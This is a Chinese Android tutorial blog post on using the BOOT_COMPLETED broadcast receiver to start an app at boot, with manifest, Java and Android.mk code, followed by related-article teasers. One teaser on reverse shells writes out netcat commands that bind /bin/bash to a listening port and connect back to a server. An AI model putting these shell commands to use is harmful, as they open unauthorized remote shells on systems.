通过开机广播(broadcast)通知应用
1. 概念
开机的时候,系统会发送一则广播,所有有标记的应用(通过广播接收者)都会获取得到,然后可以通过广播接收者去处理一些事情,比如启动该应用,或者处理数据;
代码:https://github.com/maogefff/Android-Test-Sample/tree/master/%E5%BC%80%E6%9C%BA%E5%B9%BF%E6%92%AD%E6%8E%A5%E6%94%B6%E7%A4%BA%E4%BE%8B
2. 代码
在这里做一个实验,就是开机以后,广播接收者接收到广播,然后通过广播调用activity(其实就相当于启动应用了)
AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.aplex.serialselect"> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:supportsRtl="true"
android:theme="@style/AppTheme">
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity> <!-- 添加接收开机启动广播 -->
<receiver android:name=".MyReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
<!-- <category android:name="android.intent.category.LAUNCHER"/>这里不能加这句,因为加了这句,默认开启应用就是启动广播,而不是acivity了 -->
<category android:name="android.intent.category.HOME" />
</intent-filter>
</receiver> </application> </manifest>
MyReceiver.java

package com.example.aplex.serialselect; import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log; public class MyReceiver extends BroadcastReceiver { public final static String ACTION_BOOT_COMPLETED = "android.intent.action.BOOT_COMPLETED"; // 重写onReceive方法
@Override
public void onReceive(Context context, Intent intent) {
if(intent.getAction().equals(ACTION_BOOT_COMPLETED)){
// 后边的XXX.class就是要启动的服务
Intent actIntent = new Intent(context.getApplicationContext(), MainActivity.class);
actIntent.setAction("android.intent.action.MAIN");
actIntent.addCategory("android.intent.category.LAUNCHER");
actIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(actIntent);
Log.e("TAG", "开机自动服务自动启动.....");
// 启动应用
Intent serIntent= new Intent(context, MainActivity.class);
serIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startService(serIntent);
Log.e("TAG", "开机程序自动启动.....");
}
}
}
MainActivity.java
package com.example.aplex.serialselect; import android.app.Activity;
import android.os.Bundle; public class MainActivity extends Activity { @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
}
}
3. 效果
修改为系统应用
desk@desk-ubuntu:~/myandroid$ cat packages/apps/SerialSelect/app/src/main/Android.mk
LOCAL_PATH := $(call my-dir)
#清除所有变量
include $(CLEAR_VARS) #不管是调试版本还是发行版本,都编译
LOCAL_MODULE_TAGS := optional #源码目录
LOCAL_SRC_FILES := $(call all-java-files-under, java) LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res #测试,我的作用是强制忽略多语言问题错误
#LOCAL_MODULE_TAGS := tests
#生成的APK的名字
LOCAL_PACKAGE_NAME := SelectSerial
#系统签名
LOCAL_CERTIFICATE := platform
#编译为APK应用
include $(BUILD_PACKAGE) include $(call all-makefiles-under,$(LOCAL_PATH))
因为这里是真机操作,显示就是一片白屏的
通过开机广播(broadcast)通知应用的更多相关文章
- Android 中的广播(Broadcast)
Android 广播(broadcast) 饮水思源 本文章内容学习和总结自 郭霖大神:<Android第一行代码> Overview 就像我们的学校里的喇叭一样,是用来通知的.而Andr ...
- 为什么监听不到开机广播action.BOOT_COMPLETED
为什么监听不到开机广播action.BOOT_COMPLETED 1. 说明 Android手机开机后,会发送android.intent.action.BOOT_COMPLETED广播,监听这个广播 ...
- 【Android】15.0 第15章 广播和通知—本章示例主界面
分类:C#.Android.VS2015: 创建日期:2016-02-28 一.简介 广播(Broadcast):其功能类似于收音机的广播,你只要调到那个台(只要在接收的类中注册了要接收的广播),就能 ...
- 【Android】Android 4.0 无法接收开机广播的问题
[Android]Android 4.0 无法接收开机广播的问题 前面的文章 Android 开机广播的使用 中 已经提到Android的开机启动,但是在Android 4.0 有时可以接收到开机 ...
- Android广播Broadcast
Android Broadcast简单认识 Broadcast是应用程序间传输信息的一种机制,BroadcastReceiver是对发送出来的广播(Broadcast)进行过滤并接收相应的一类组件. ...
- Android中的广播Broadcast详解
今天来看一下Android中的广播机制,我们知道广播Broadcast是Android中的四大组件之一,可见他的重要性了,当然它的用途也很大的,比如一些系统的广播:电量低.开机.锁屏等一些操作都会发送 ...
- Android 进程常驻----开机广播的简单守护以及总结
这是一个轻量级的库,配置几行代码,就可以实现在Android上实现进程常驻,也就是在系统强杀下,以及360获取root权限下,clean master获取root权限下都无法杀死进程 支持系统2.3到 ...
- 广播Broadcast Receiver
广播的类型: 1.标准广播(Normal broadcat) 完全异步执行的广播,所有广播接收器同一时间接收广播消息. 效率高,但无法被截断. 2.有序广播 同步执行的广播,同一时刻只能有一个广播接收 ...
- Android开机广播
有些时候我们常常需要某个程序开机运行.在这个时候我们就需要监听系统的开机广播,然后启动我们的程序即可. 不多说 直接上代码: public class BootReceiver extends Bro ...
- ACM/ICPC 之 数据结构-邻接表+BFS(TSH OJ-无线广播Broadcast)
这道题中若能够构成互不干扰的区域,其构成的图其实就是汉密尔顿路(Hamilton road),因此如果能够观察出来可以直接转化为汉密尔顿路的存在性证明,即便不能观察,我相信ACMer也能转化为BFS问 ...
随机推荐
- ssl协议,openssl,创建私有CA
SSL是Security Socket Layer:安全的套接字层 他介于HTTP和TCP协议层之间 SSL是Netscape公司开发的,属于个人 TLS是标准委员会制定的 OpenSSL是SSL的开 ...
- windows服务安装记录
首先打开cmd. 进入这个地址 C:\Windows\Microsoft.NET\Framework\v4.0.30319 执行操作 InstallUtil.exe E:\QueueWinServi ...
- 记开发个人图书收藏清单小程序开发(九)Web开发——新增图书信息
书房信息初始化已完成,现在开始处理图书信息新增功能. 主要是实现之前New Razor Pages的后台部分. 新增需要保存的Model:Book.InitSpec.cs /Models/Book.I ...
- C#之通过图片地址下载图片
因为项目上需要加载在线卫星云图,因此写了这个功能来把卫星云图下载的本地,在这里记录一下: string imageUrl=“http://image.nmc.cn/product/2018/08/06 ...
- poj1166时钟翻转
#include<stdio.h> #define TABLE_LEN 5 const int table[10][TABLE_LEN]= {{},{1,2,4,5},{1,2,3},{2 ...
- Android Studion有用的快捷键
注释:ctrl+/ 如果代码未添加注释,则添加注释上去:否则取消已经注释. 格式化代码:ctrl+alt+L l键不需要大写锁定,这里只是为了更清楚表示是L键.
- springmvc执行流程 源码分析
进入DispatcherServlet 执行onRefresh,然后执行初始化方法initStrategies.然后调用doService——>doDispatch. 根据继承关系执行Servl ...
- php-fpm 和 nginx 的两种通信方式
在 linux 中,nginx 服务器和 php-fpm 可以通过 tcp socket 和 unix socket 两种方式实现. 一下内容转自:https://blog.csdn.net/qq62 ...
- 反弹Shell小结
1.NC反弹shell 1.1.正向反弹shell 服务器 nc -lvvp 7777 -e /bin/bash 攻击机 nc server-ip 7777 1.2.反向反弹shell 攻击机 nc ...
- ROS(机器视觉)
通过ROS打开摄像头 查看话题信息和消息 图像数据: 默认调用笔记本自带摄像头,如需调用外接摄像头,需要将其中video0改成video1.